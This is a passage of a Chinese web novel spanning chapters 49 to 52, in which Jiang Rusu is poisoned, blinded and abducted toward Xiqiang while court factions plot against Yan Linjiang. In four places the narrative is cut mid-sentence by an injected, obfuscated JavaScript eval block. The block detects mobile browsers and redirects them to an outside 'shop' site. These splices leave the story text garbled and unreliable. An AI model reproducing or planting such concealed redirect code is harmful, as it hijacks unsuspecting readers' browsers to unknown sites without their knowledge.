袁卜榆的医术师承杜成安,是汉地绝无仅有的神医,他的医术自然是信得过的,但看见她难受,晏行丘还是下意识的担忧着,想将那杜成安也寻来瞧瞧。 “嗯,好受多了。”姜如素盯着他的唇,半晌才琢磨出来他说的是什么,他在关心她,问她好受了些没。 暗赫人下的毒是西羌最毒也是最易解开的毒物,这毒发的极为迅速,往往入体一个时辰内便会发作,最开始是从腹部开始的绞痛,渐渐的五感便会随机一感尽失。 但这毒解开也是极为简单的,只需要采摘西羌的几味药材熬煮成汤,连续服下几日便可化解开。那药材也不算难寻,但需要在采摘后半日内便入药。 郢州城往返西羌得耗上一日,拓跋忱廿是下了死手,无论他能否将她带回去,她是必须要回西羌的。 暗赫人在给她时间,体面的回到西羌,时间若是拖得越久,就算是得了解药也会落下病根。 一旦回了西羌,她在草原上是躲不过鹰的眼睛的。 “午后是出去散心了吗?”听觉受了影响,晏行丘凑的更近了些。 午时点秋守着她,他匆匆去楼下用了饭,回来的时候屋子里便只剩下点秋了,一问点秋,她给出回答是,“姑娘说想出去散散心,一个人去就行,不让我跟着。” 散心?晏行丘不是傻子,那话当个借口去搪塞点秋倒是可以,她不是坐以待毙的性格,她肯定是去做了什么。 况且那男人怕是还没出郢州城,说不准也跟着他们一路回来了,这会儿就在绣楼附近埋伏着。 不过还好,她还是安然无恙的回来了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他安排着无论如何姜如素床边必须守着人,怕点秋心软拦不住还特地去让秀萍接了他的活儿去,寻个时间同袁卜榆好好探讨着如何去治她的症。 这才多久?三刻钟的时间,便不见了? 晏行丘夺门而出,绣楼有着一个小药房,是存放着平日偶尔后院种的一些处理好的药材,这离三楼并不远,有什么大动静是能听见的。 可是姜如素的卧房内,除开倒在一侧的秀萍,床上的被子被乱糟糟的掀在一旁,本该躺在床上的人早就没了踪影。 一股不好的预感自脊椎蔓延炸开,出寨门的时候,他也看到了那其中最为独特的那人,悄无声息出现在郢州城的西羌人。 是个厉害的角色。 心底的那股不详感最后还是应征了,像是一场铺天盖地的雨淋湿在了身上,浇得他从头到脚都冰的发麻。 姜如素不见了。 她拖着那一身病体又能去那里? 49.跟丢 秋水堂今日的气氛也是压抑的紧,平日里本就寂静,如今来往行人更是行色匆匆,沉默不语。 严秋水一路上匆忙的赶回来已经有些疲乏了,茶室里早早的已经候上一群人。 “堂主。”一行人早早的听候了安排早早的就在茶室外等着严秋水。 “嗯。”严秋水轻声应下。 “堂主...”一侧的人见他进了茶室的门,便开始开口禀报着。 严秋水抬手打断了他开口,带着帏帽的头轻轻看向了另一侧的人,他目光落下那处的人立马会意,战战兢兢的走上前一步。 男人抬头隔着那层黑纱欲言又止,“堂主,姜姑娘的行踪还是不清楚。” “跟着她的人可有传话?”严秋水语气间几近都是命令的口吻。 “没有,他们跟丢了。”禀话那人也是为难,兜兜转转在这节骨眼上将人给跟丢了,姜如素消失的那刻便有人立马传了消息回来,可再一问,便是跟丢了。 派去的人本是一直跟着的,等他们找了个落脚的地查探时,细数那一行人也没少,但姜如素却凭空消失了。 前前后后的都找不到,应该是为了躲开他们,寻了个时机让姜如素转移了。 “什么?跟丢了?”严秋水正要将盛满茶水往唇边送的手一顿,攥住茶杯的手青筋毕露。 暗赫人要将姜如素带回去,强硬的劫走她是迟早会发生的事情,可秋水堂的人居然跟丢了,这于秋水堂来说可是这十年难得见一次。 难道是因为他派去的那人功夫太浅了? 一口邪火像是堵在了胸口,严秋水忍了忍才将杯子抛开的念头止住了。平扫两地不少的麻烦,为她铺就回羌的路,这个好消息还没等她亲自去知晓。 便又是让她置身于险地,还是失去了音信。 这气他舒不开,未曾留意的瓷杯最后自他掌间碎开。瓷片划破了他指尖。 "堂主。"站在黑纱外的人看到这一幕皆是倒吸了一口气。 “无碍。”严秋水风轻云淡的用手帕将手上的血迹擦拭一番,交叠间显得那双手更为美观悦目,但无形的压力却压得茶室的人都喘不上气。 不如下次见面同她坦白了将桐雨派去她身边好了,严秋水盘算着,桐雨这些年在闻沧诀手下练出了一身好功夫。 帘外的人感觉背后猛地发汗,如冬日般背脊发凉。 “不过我们已经加派人手了,与他们有任何交易的人都多加留意了些,最快半日,最迟这两日便能有姜姑娘的消息了。” “嗯。”严秋水回答的平淡,这些人好在知道及时补救,也不算错的太离谱。 “姜姑娘留下了一件东西,同您要了一个人。”那人一五一十的说着,生怕漏了什么便坏了事情。 “什么东西。”严秋水慢下了步子。 下面的人用盒子将东西小心的装了起来,严秋水打开盒子,那是他送给姜如素的手串,一百零八籽,一次次往返云台寺求来的。 手串下还压着纸张,姜如素这些日子不便于说话,便直接写了她要的东西来。 严秋水将纸张放在一侧的书本中,接过那手串,摩挲着菩提子,语气这才缓和了些,“她要了谁去?” 她早早预料到还同她要了人,至少她心里有着盘算,不会置自己于危险之地,唯死才安,严秋水轻吻上手中的手串,她还欠他一副山水绣没完成呢。 如今搁置在茶室一侧,她一针一线绣一半的山水绣,同他一起还等着她回来。 要了个人?严秋水心底半是希冀半是惶恐。 秋水堂能人异士并不在少数,能有个人跟在她身边也算是省去不少的事儿,寻得她的下落也是易如反掌的事情。 他心底倒是隐隐期待着她开口将他身边的得力干将要去,可她鲜少同秋水堂的人打交道若是认不得该怎么办啊? “姜姑娘...姜姑娘要了一个同她身形相似的人。”那人越说越是心慌,回答却不见一点怠慢。“但并不是让她跟着。” “姜姑娘是说,让我们将那人寻来后十日内送去南水羌。” “人找到没?”严秋水揉揉眉心,平缓了些许。 “找到了,安排在郢州城的分部里,堂主若是想见她,我待会儿便带她来见你。” “不必了,记得”既然是她吩咐的事儿,不过是寻个人去,他也不该处处都插手,他话锋一转,“可查清楚底细了?” “查清楚了。”方才进门时就开口的那人立马上前。 “细细说来。” “劫走姜姑娘的那人,是西羌河洛拓跋王的小儿子,他生母是百纳的公主。”两个部族的上位者生出了这么一位目中无人的儿子。 百纳的... 严秋水一听到这百纳二字约莫也猜出了个大概,只怕是这个河洛的王子野心不小。 “这还差到了一些往事,”男人一边说着,一边从怀中取出不少零零碎碎的纸张信条递交给一侧的桐雨,借着桐雨的手转递到了严秋水的案前。 “这是同拓跋忱廿有关的,各地搜集来的这十年间的一些消息,我从中发现了一些不对劲...” “那你便说说吧。”严秋水翻看着那些东西,人是静下来了,心却依旧烦躁着。 姜如素若是一直下落不明,他这颗心又怎么敢安放下来。 驿站的铜铃声从巷尾响起,就像是病卧在塌间的时候,微风吹起来荡得床头的那串铃铛发出清脆的细微的响声。 伴着那若有若无记忆里的哼唱声,都快分不清究竟如今这般受折磨是梦,还是过往那些安定的日子是梦了。 “咳咳...”姜如素一口气险些没提上来。 那铜铃声越发的近了,渐渐的就好似停在了门前,随后门吱呀一声的开了,男人的交谈声从室外一字不落的传了进来。 听觉恢复了,像是回光返照一般。 “这要寄出去的是什么物件啊?”听的驿使照例询问着。 “是写吃食和衣服,这不是想着快入冬了,给我儿寄些衣裳去。” “要寄去那里?”驿使秉公办事的问着。 “上京,”提及儿子,男人似乎颇有些骄傲,“在上京求学呢,说是书院里的老师都看好他,在上京也不愁吃喝,但到底还是担心,孩儿他娘这些日子赶了件衣裳出来。” 窸窸窣窣声中,驿使似乎拆开了包裹确认无误了,在上面用纸条先是写下了地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445198|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点。 “一共多少钱?”男人殷切的询问着。 “五百零六钱。”驿使回答着。 “五百零六钱?怎么比上次贵了不少。” “这入冬的路不好赶,比寻常是要贵上三四十钱。”更何况此处接壤西羌,离上京隔着好几座城池,去上一趟得花不少的时间。 “那行,”男人得了合理的解释也不再追问,“你等着我去拿钱来。” 五百零六钱,姜如素合眼靠在墙边喘口气,盘算着到上京一两六钱的差使费,如今这应当是到了同西羌接壤的芜迁州,过去了几日她已经分辨不清了。 马车上昏昏沉沉的醒来又沉睡下去,只依稀还记得拓拔忱廿那日带着笑意闯门而入。 门外的交谈声已经接近末尾,姜如素已经缓过来了些许,她挣扎着坐起身来,打量了一眼四周,这是间柴房,堆放着一些码放整齐的柴火。 而屋中没有人,姜如素猜不透拓跋忱廿的想法,但这也是绝佳的机会想消息传出去。 “给我纸笔。” “给我纸笔。”姜如素挪了身子过去,拓跋忱廿将她的手脚都用麻绳捆得紧紧的,她没什么力道,撞门声并不大听着有些沉闷。 “有人吗?”驿使被动静吸引了过来。 “有人。”姜如素嗓子这几日刺痛着的疼,稍稍用些力说话,那回答声便好似带上了哭腔。 “有人吗?”驿使看不清门内的情况,那声回答就好像是幻听了,若非是听见那低泣声,他都快当真以为自己听错了。 “有人。”姜如素将声音放大了些,确定对面听见了,她才接着说了下去。“我家是郢州城的,受叔婶哄骗来这儿,他们压着要我成亲,否则就不放我出去。” 拓跋忱廿给她下的那毒,拖累得她身虚体弱,到显得她说起“自己”被关在这柴房中的悲惨经历字字泣血,声声催泪。 “可以给我纸笔吗?我想给我郢州城得父母写去一封信。”那用铁链加固锁起来的门,被拉开时露出一指来宽的缝隙。“若是他们看见了也好早些寻我回去,我们一家人好好过个年节。” 姜如素将放在衣服里的一点银子全都从哪儿塞了出去,并不多,但去郢州城的差事费是够了。 不一会儿驿使便从门缝中塞进纸张和信封,再过了一会儿将笔也塞了进来,姜如素撑着身子写着字,她的字迹写的弯弯扭扭的,有些认不出来。 捆着的手显然做什么都不容易,折腾了一会儿好歹是勉强将纸张塞进了信封中。 “人呢?”隔壁不远处传来了男人的疑惑声,“方才不还在这儿?箱子也在。” “多谢了。”姜如素嘶哑的发出声音,从那小小的门缝中递出去叠好的信封,将笔也一并奉还了。 “没事,你会早些回去的。”驿使安抚着接过信草草塞入怀中,大声回复着男人一句来了,便应声走了回去,接过男人早在屋中数了又数的铜板。 做完这一切,姜如素挣扎着去桌前喝了口水,看着外面的天渐渐暗沉了下去。 夜色中,男人行色匆匆的绕过回廊,距上次见严秋水时间又过去了一日半。他停在茶室外,毕恭毕敬的回报着,“堂主,姜姑娘找到了。” 50.目盲 柴房的位置应该在芜迁城偏远的某个巷子里,芜迁城同西羌接壤,芜迁城的夜市是人人一提及芜迁便能联想到的。 白日各家各户都忙着农活照料着商铺,等着夜里了不少的人家闲了下来,才去这夜市中做些买卖,将自己绣的编的东西卖出去,再买些吃食回去。 这儿竟然听不到一点喧闹的声响,就连虫鸣声也随着秋末少了下去,姜如素回忆着,似乎也没听见打更声。 她一觉或许已至深夜,才错过了去。 应是深夜,姜如素心底算着,驿使收信都是午后的时候,走街串巷或者是早早的去那些早知会过的大老爷府中去取,午后再过上这么些时候,应是亥时末了。 柴房上有着两个小窗,今夜没有下雨,应该是个月朗星稀的好天气,微微月光应该能照进屋内。 今夜到是好受,可姜如素睡得不安稳,她能感受到冷暖,能听见风声,能嗅到柴房中各式各样的木头味,只是今夜太黑了。 入冬前的夜也太冷了。 锁链的声音叮叮当当的响了起来,木门被推开又关上的动作很快,短暂到姜如素根本无法确认,是否有人进了屋子。 “谁?”夜里温度已经低了不少,已经比不得夏日了。 “祭司大人没有背着我做出什么小动作吧。”拓跋忱廿踱步进了门,烛火的映衬下倒是显得那点月光黯然的可怜,唯一的一点光亮掌在他手中。 柴房中他留了两床被子,她双手被缚住,也就堪堪能靠在一旁的柴火堆将自己裹起来,也不知道这一觉睡没睡成。 “有意义吗?问这些结果显而易见的过场话。”姜如素说话的语气不太友善。 “谁知道呢?”拓跋忱廿席地而坐,他的目光很轻易的就捕捉到了姜如素手腕上的伤,挣扎过后粗粝的麻绳将皮肤磨出的红印。 红印上还留着血色,离血液喷洒而出就差最后一层薄薄的皮肉,更带着一种虚弱的美感。 看来是吃了些苦头。 姜如素始不再回答他,拓跋忱廿起初以为她端着姿态,一直背着他故意不去理会他,后来才发现她的视线似乎落在柴房的那方木桌上。 就好似,他坐在那里一般。 拓跋忱廿屏住呼吸凑近了去看,姜如素那漂亮的如同深邃漩涡的眸子中闪烁着灯火,也能看见一个同样好奇打量的他, 但是却尽是木讷。 四周的氛围有些奇怪,拓跋忱廿的脚步声停在了她身前,黑夜中听觉连一点风吹草动的声响都捕捉住,她听声辩位,知道拓跋忱廿离她并不远,约莫三尺的距离。 他的呼吸声放的很轻,刻意隐藏在风声中,她感觉到微弱的热意,像是灯烛焰火的温度。拓跋忱廿就这么喜欢黑夜,连灯都不点上一盏? 不消一会儿,姜如素也是反应过来了。 是她看不见了,是她失去了视觉,目不能视物。 “如今第几日了。” “第五日了。”拓跋忱廿难得的放缓了语气如实回答。同瞎子论长短属实没必要,左右离西羌只隔着一墙之隔,回去了便一切与他无关了。 已经第五日,再拖上几天,便当真是无力回天,姜如素记不太清楚这个毒到底叫什么名字,只依稀记得,过了第七日后身体日况愈下,故而又有人称其为七日绝。 拓跋忱廿没必要压着她回去的,就算没有他劫走这一出,这个时候她也快回南水了。 “那你可得抓紧点时间了。”姜如素淡淡说着,“要是我死在路上,你可不好交代。” “放心,我可舍不得让你死。”若非是为了甩掉一直跟在她身后的小尾巴,他在芜迁城兜兜转转了两日,早就回河洛了。 “是吗?我还以为要将我饿死在这儿呢。”知道看不见,姜如素直接闭目休息。 分明秋末近冬的气候,分明西羌可比郢州城冷不少,拓跋忱廿连件厚些的披风都不愿意备下一件。姜如素叹息着心想道,本来生死难测了,不给吃不给穿,这是真怕她活着回去? 不给吃的? 他有吗? 拓跋忱廿的目光落在那桌子上,昨日子时才堪堪赶到芜迁城,到如今算是有二十四时辰了,桌上本来放着小半份糕点。 那是路上顺手买的糕点,是什么拓跋忱廿记不太清楚了,只记得那一包糕点给众人分了分最后剩下那两三块,他顺手放在了桌上。 如今就剩个包着糕点的油纸放在桌上,糕点被她吃的一干二净,三块糕点,一壶冷茶,她熬过了这两日。 似乎...确实是忘了。 这处柴房是个不太显眼的地方,他想的是先将她安置在这里,半日内再回来接走他,可她身后那个神秘的组织动作实在是太快了。 一来二去的折腾,这才现在才回。 “快了,出了城就给你找些吃食。”拓跋忱廿难得心虚的回答着,他不知道这份心虚从何而来。 “最好是。”姜如素有些发不出声来,就好似话本中说的登仙之境,身子轻的要飘飘然羽化登仙。 内脏难受的灼烧感有开始反反复复起来,她有些分不清是冷带来的,还是因为许久没进食,或许都是或许都不是。 撑过一会儿便好,姜如素在心底安抚着自己,这些日子这般灼烧撕裂般的疼痛,每日都会有上个几次,约莫一两刻钟便会渐渐消下去。 真难熬,姜如素心想着。 失去听觉的时候,她会找些书或者数着梁上的瓦片消磨时间,分分神用来缓解疼痛,可今日失去了视觉,就像要将过往那些日子分神缓解的痛都讨回来。 “咳咳咳。” “你没事吧?”拓跋忱廿也是被她接连着的咳嗽声将心给揪了起来。 不会还没回去,她就死在这芜迁城了吧。 “我...咳咳,”姜如素撑起身子来,缓了好一会儿,才缓缓开口,“给我倒碗水来。” “拿好了。”拓跋忱廿本就靠在桌边,倒水过来稳稳的放在她的手间。 一口饮尽碗中的水,嗓子好受了些许,可她身上的那股冷意更盛了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13478275|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 门外那车轮压在石板上的声响渐行渐近,应该是拓跋忱廿找来的马车,他不会无缘无故的忽然夜半来寻她,只可能是要趁着月色回羌。 “拓跋大人。”马车果真停在了门口,传进来一声轻声的呼唤。“一切都安排好了,可以动身了。” “知道了。”拓跋忱廿目光扫了一眼姜如素,她的动作很慢,还跌跌撞撞裹着床被子,就算门在咫尺的距离,也不知道她能走到猴年马月去,“走了。” 姜如素扶着一侧码好的柴堆站起身来,将身上裹着的薄被攥得紧紧的,柴火劈断的地方毛刺还留着,她摸索上去,一股脑的都要往她皮肉下转去。 疼吗? 姜如素说不上来,疼是真的,但是继而却全消散了去。 他们得早些动身,耽误不得。 “别裹着你的被子了,冷不死你的。”拓跋忱廿咂舌,要等到这个瞎子摸索着走过去,怕是夜里盯着的眼睛都多了不少。他有些不耐烦的扯开被子,姜如素被一扯根本站不稳身子。 拓跋忱廿顺势将她扛了起来就朝着门外走,姜如素的腹部被他的肩胛骨膈着,胃里翻江倒海的难受,血液上头,才走两步一下子将方才堵在心口的那口血呕了出来。 呕血的动静并不小,心肺都要呕出来才罢休。 拓跋忱廿那里懂得医术,连忙将她放了下来,但触及她手腕的时候,也是明白了事情的不对劲,姜如素的体温太低了,他紧紧攥住她的手腕,可那股冷依旧在他掌心化不开。 难不成这七日绝的毒性又提前发作了?若当真是这样,根本不需要七日,明日太阳升起后,她的寿命便进行了流沙般的倒数。 她可不能死。 她若是死了,表兄的顽疾便没有人能医治。 她若是死了,千般布局又得辛劳。 “姜如素?” “......” "姜如素?"拓跋忱廿有点慌乱,伸出手去探了探她的鼻息,感受到有出气才放心了些。 拓跋忱廿也不敢再乱来,连动作都让轻柔了不少,他不敢再造次将姜如素打横抱在怀中,他分不清姜如素是醒着还是已经昏死了过去,她全身卸了力像是软弱无骨,头在他怀中偏向着另一侧。 放在桌上的烛火借着风,燃的更亮眼了些,拓跋忱廿低头端详着怀中人的情况,目光却又一眼扫到她颈侧的小痣。 似红如赤的一颗小痣,那小痣就像是灯火照不见下的眼花。他挪开了目光再去瞧,那里当真落了一颗小痣,拓跋忱廿对这个小痣太熟悉了。 一阵风将灯给吹灭了。 门外的人催促着,“拓跋大人,我们该走了。” 他们没有办法确认姜如素身后的那人需要多久的时间又跟上来,只知晓这动作若是不快些怕是惹上不少的麻烦。 可是那灯就在手侧。 人也在眼前。 “拓跋大人。”门外的人又在催促着。 “......” “走吧。” 51.晚宴 路途遥遥,等着车轮丈量完大半个汉地的版图时,中秋已经过去了整整十日了。 迟都督的营帐中可是热闹,平日放在进屋正中的那张大桌子被人给挪开了,将空地给空了出来,顺带将两侧的帘子都给拆了,两侧摆上不少的桌子。 桌上已经摆上了不少的凉菜和糕点,今夜宴席上的硬菜正在门外的烤架上炙烤着,烤鸡的香味勾得赤家军所有人的心魂都不在了。 只想着等晚宴到了,便立马开始大快朵颐。 “晏大人当真要来?”布菜的几人依旧有些不可置信。 晏临江中秋宴后,出景州留居黾州的消息并不是什么稀奇的事儿,可不知道为什么这个消息似乎并没有传开。 几人揣摩着或许是晏临江这些年处处奔波,处处磋磨,劳累落下了病根,多需静养罢了。 前些日子晏临江也曾来过,可那时候的人哪里知道,权当是个笑话听听罢了,晏家捧在心上才寻回的长子怎么会这么快的就被委以重命。 当今陛下同晏临江可是胜若知己般的相怜相惜,陛下又怎么舍得他拖着病体操劳。 更可况如今天下太平。 那还有那么多需要晏大人操劳的。 直到男人被簇拥着进了帐子,他们才确确实实的确认着晏临江当真活了,迟枞早就停了大家今日的操练,消息人传人。 大家都跟着凑上去,凑上去看看这个传奇的人物,去看看这个能化解饥荒流民,使得百姓安居乐业的人。 “晏大人,又见面了。”迟枞站在帐前,借着台阶有些居高临下的看着来人。 “是啊,又见面了。”晏临江由人扶着下了马车。 迟枞看向他身后,关切的试探着,“陈统领呢?不是和晏大人一直形影不离吗?” “陈统领完成任务自然是回京去了。”晏临江悠闲的踱到迟枞身前,“毕竟,巡视南六州的活儿我可是干完了,总得给我些私人时间休息休息吧。” “不然,我哪里有空来参加迟都督请我的这一晚宴啊。”晏临江不明意义的补上了一句,目光落在迟枞眼里,却很是不简单。 “那晏大人请吧。” “请吧。”晏临江也不再客气,朝着帐中走进去。 客人入座,菜品似流水般一会儿便上了满满一桌。 “敬晏大人,也敬诸位。”迟枞斟满酒,率先起身,的目光扫视着宴会的每个人,最后停在角落里。 角落里站着一个人,在来来往往上菜的人中显得并不显眼,男人朝着他点点头。 只需要一刻,迟枞便心领神会,嘴角有些控制不住的扬起一个不易察觉的笑,这是有新的大计正在布设着。 而他要做的便是留住晏临江。 无需迟枞开口,席间已经有人同晏临江搭话了。 “我是都督身边的副官,久闻晏大人才华盖世,如今一看果然气度非凡。”副官夸赞着,将这辈子学到的那几个词都用上了。 “莫要讲这些玩笑话了。”晏临江将话挡了回去。 他现在并不爱提及当年,就算所有人都认为那样的晏临江才是真正的他。可那是他当真想避开的。 过去的那个自己,似乎怎么也追不上。若是他不曾那般风华绝代,凭着他的身份也能有一番作为。 随着年岁的增长,像是将一个完整的晏临江割裂成了两个,清醒的自知的看着自己不如自己,自己困在自己的影子里。 “早就不复当年了。”眼前的东西都生了重影,可他分明连一杯酒都没喝完,话音未落直接一头栽倒了。 “晏大人?晏大人?”那副官就坐在晏临江一侧,立马上前查看他的状况,看人确确实实的晕倒后,才收回手。 “这?”副官挑眉,“不是说他是个极难对付的人?” 平阳王下达的指令近期同晏临江相关的格外的多,只半月的信件就比过去一两月的都多。 “还是不要掉以轻心。”迟枞走近了些,“他要是真的这么好对付,当年王爷派去刺杀的他的人也不至于让他活到今日。” 帐外的那些人不知晓,可帐中的这些人可都是迟枞的人,迟枞同平阳王合作的那一刻就没瞒着他。 背地里几人都将晏临江研究透了,当年出京的刺杀都一一复盘了,都抱着若是再来一次刺杀,将让晏临江永远的闭上眼。 “我瞧着倒是未必。”副官耸耸肩,满不在乎,毕竟如今的晏临江空有名头,背地里怕是早就江郎才尽了。 “好好休息下吧,晏大人。”迟枞挑衅的呢喃着,将昏迷的晏临江扶起来,迟枞刚吩咐完,角落里的那人立马走上来,从他怀中将晏临江接了过去。 他还盘算着,若是这酒里下的迷药迷不倒他,便用些强硬的手段,总能不取他性命又囚住他。 或许,他早就不是当年那个,一子勘破十步的晏临江了。 “晏大人果真身子骨弱,这才喝几杯就醉了。”早间布菜的那几人在帐外围成一团,吃着烤肉目光一直落在主帐的目光。 那边的欢呼声,交谈声都落在了几人的耳中,看着晏临江被人扶出来送去别的帐中休息。 “可晏大人他酒量不是可好了?”有人像是想起什么是的补上了一句,“当年晏大人景州舞剑可是饮至兴起时。” “你见过?”不待众人思索,已经有人反驳。 “我自然是...”那人似乎懒得争辩,将剩下半句话咽了下去。 他自然是见过的。 景州同黾州城相邻,他是随父亲来赤家军参军才来黾州城的,他在家排行第六,人人便也称他为王六。 当年那场秋宴,他是以侍仆的身份参加的,为各位贵人添酒煮茶,跑跑腿的。就算是时隔多年,王六也能笃定的说,当年只要是亲身参加过那场秋宴的人,都不会忘却的。 秋宴本就是晏家出资办的一场江湖宴,有名有姓者来者皆是客人,为了答谢主家宴请的宴席,带来了天地四方的宝物,也展示了百般才艺为宴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13508439|123622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 席添些热闹。 宴席最是兴起的时候,晏临江也是拔剑一个飞身落在台前。 他抬手起势行云流水,人剑合一。初时动作轻缓,闲散的似要来一出醉剑,渐渐的动作越来越快。 那柄剑如绸似水,在天光中晃的像是灵动的缎带,晏临江一套剑术舞下来,刚柔并济,刀刀致命却又藏尽锋芒。 他每个动作都游刃有余,出剑极快,收剑间还抽空又饮壶中酒。 似是尽兴,他将那剑一扔正正好钉在一侧的剑架,少年人骨子里总是有着几分桀骜不驯。 王六穿梭于人群间,忙碌着为各位客人添茶倒酒,顺带为迷路的人指路。可他也是忍不住忙里偷闲的去瞧那台上的舞剑。 还未等众人为晏临江喝彩,一道圣旨便直接传到了这宴会场。 王六听不懂那些弯弯绕绕的宣词,从身旁贵人的探讨惊呼声中,大概拼凑出来了这道圣旨的意思。 要这位才识过人的晏家长子去做那丞相般的无双谋士,是个一人之下,万人之上的位置。 寻常人走尽一生的路,就这般轻易的铺在了他脚下。 可王六觉得很奇怪,分明是一张脸,却像是什么东西从他身上消逝,想了半晌也没想出个所以然,王六便干脆什么都不想了。 随州的气候很是古怪,夜色一沉连立马冷了下来。 “王爷。”勒伍将方才回屋取来的大氅为平阳王披上。 男人坐在墓前不声不响的就单单盯着那墓碑上的字,一遍又一遍的抚摸着那深陷下去的刻纹,一侧是爱妻一侧是独子。 这么多年,一家人整整齐齐算是团聚了。 “永林,你去那边了便去寻你母亲,她这么多年没见你,也想你了。”平阳王斟上酒放了一杯在赵永林墓碑前。“这些年也是辛苦你了,往后便好好过潇洒日子去吧。” 赵永林本性本是不坏,他年纪小的时候也喜欢下棋,喜欢读书,那时候他还想着将来当个好王爷。 可两个中规中矩的王爷世子在上京能做出些什么,生在帝王之家,手足相残的戏码并不是独一份。 平阳王本也没有别的心思,可他那善妒擅猜忌的皇兄,会信他没有任何心思?他那一点动摇的想法,在他皇兄的眼中就是筹谋多年,就是为了将他一击毙命。 看着死去的独子,他倒是觉得自己当真是仁慈。 “永林,你会看着我们的大业即成的。”平阳王拍拍墓碑,就好像是透过这坚硬的石板拍在独子的肩上。 “勒伍,我倒是觉得这天气这般冷,似乎等不到入冬了。” “王爷的意思是?”勒伍脑海中迸发出了一个想法,王爷现在的计划是越发的难以揣摩了。 “嗯。”平阳王肯定了他的想法。 所谓的那句立冬过后便动手都是假的,谎话连篇乱中之乱,都是为了扰乱晏临江,打他个措手不及。 “吩咐下去吧。” 是该给他这位好皇兄送些大礼了。 52.阿凌 “姜姑娘,请吧。”带路的人掀起帘帐让姜如素入帐。 帐中人不少,一个身着华丽,雍容华贵的女人坐在一侧,应是百纳的祭司。百纳祭司是会嫁于族中的王抑或是王子的。 看来这位暗赫人的“首领”身份在百纳也是说的上话的贵族。 西羌自古都是拥从强者居之,南水羌如今风头正盛,她这位南水的祭司自然是比她身份高些,可姜如素这位还未回本部的祭司,终究还是算不得的。 “姜姑娘请。”那女人站起身来,将她引至帐前,不知她凑在帐前低语了些什么,男人的手便从帘子下伸了出来,放在号脉的桌子上。 那人坐在帘子后,西羌帐中的帘子选用的布料都极为厚重,是比不得秋水堂的。那厚重的布料,连光都不曾透过一丝。 男子的手上有着厚厚的刀茧,脉象倒是还好,想必身边这位女子下了不少功夫调理。 “不需要我看看嘛?”姜如素收回手,指了指眼睛。 毕竟暗赫人首领受伤的地方在眼,号脉再详细终究是比不过直观的去查看。 “不必了。”女人回绝着,“旁的姜姑娘问我便是,我知无不言。” “也行。”既然不愿意露面,姜如素也不强求,毕竟治不好难受的又不是她。“那便同我说说吧。” “借一步。” 女人将她引至一侧才开口,“首领”的眼看起来倒是并没有什么大碍,只偶尔病发时,会有血红色的血丝爬满眼球。 虫子钻咬的感觉,时常还伴随视物模糊。 “嗯。”姜如素故作深思,“不如我先开一个方子,先去把药寻来。” “姜姑娘看着来就好,一切都随您来。”女人嘴里是这般说的,接过药方的那一刻还是一字一词的看得仔细。 生怕姜如素动了手脚,将“首领”的命给断送了。 “东芩。” “在。”进帐时站在女子身后的人应声过来。 “这几日就跟在姜姑娘身边照顾她吧。”女人吩咐完,言语间又滴水不露的和姜如素解释着。“这帐中都是些男子,派她跟着姑娘,有那里住的不习惯,差她同我说便是。” “好。”姜如素故作不知她的心思,心安理得的接受了下来。“无事的话,那我便回去歇着了。” 女人应下来,递了一个眼神,东芩便自觉的走在前面为姜如素带路。 帐外可不必帐内安静,外面来来往往不少人,也候着不少人。白胡子老头也候在帐外,个子并不高身形很是熟悉,姜如素上下扫了他一眼。 “彭先生?” “嗯?”老头应声转头看向她。 姜如素不再作答,浅笑着看着他。 才回帐中歇息了一会儿,只觉得是小小的打了一个盹,那叫东芩的姑娘提着个布包进了门,放在姜如素面前。 “姜姑娘,药材给你带来了。”她一板一眼像是在传达某人的话。 “我?”姜如素有些疑惑的指了指自己,“我?这是我该干的活儿?” 那些依照她提及的药方上收集来的药材,还沾着泥土,那些枯萎的黄叶也还混杂在其中,从山上采下的新鲜药材。 姜如素没曾想这些人居然会这般拿着药材来,这是?要她全程操手,方便最后问她的责? “姜姑娘还是早些处理,耽误了入药的时候可是不好呢。”东芩的语气很是不好,显然是要给姜如素一个下马威。 “是你的想法,还是那位祭司的想法?” “姜姑娘还是客气些吧,”东芩皮笑肉不笑,“祭司大人的名号称呼还是尊敬些为好。” 这些话有人指示,但也是她的心里话,她算下来,若是不出意外,她便是下一任的协礼祭司,协礼祭司来做这仆从做的活儿,她怎么会乐意。 